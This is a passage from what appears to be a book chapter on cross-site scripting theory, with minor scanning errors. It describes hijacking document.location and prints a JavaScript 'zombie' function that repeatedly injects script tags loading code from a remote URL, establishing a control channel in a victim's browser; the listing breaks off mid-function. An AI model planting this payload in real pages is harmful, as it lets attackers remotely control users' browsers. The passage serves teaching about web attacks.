
102 Chapter 3 9 XSS Theory
As we can see from the code listing, we hijack the
document.location
which holds the full
UIKL to the current resource.
With the following code listing, we can install a zombie control over channel inside the
current browser:
function zombie(url, interval) {
var interval = (interval == null)?2000:interval;
setInterval(function () {
var script = document.createElement('script');
script.defer = true;
script.type = 'text/javascript';
script.src = url;
script.onload = function () {
document.body.removeChild(script);
};
document.body.appendChild(script);
}, interval); ...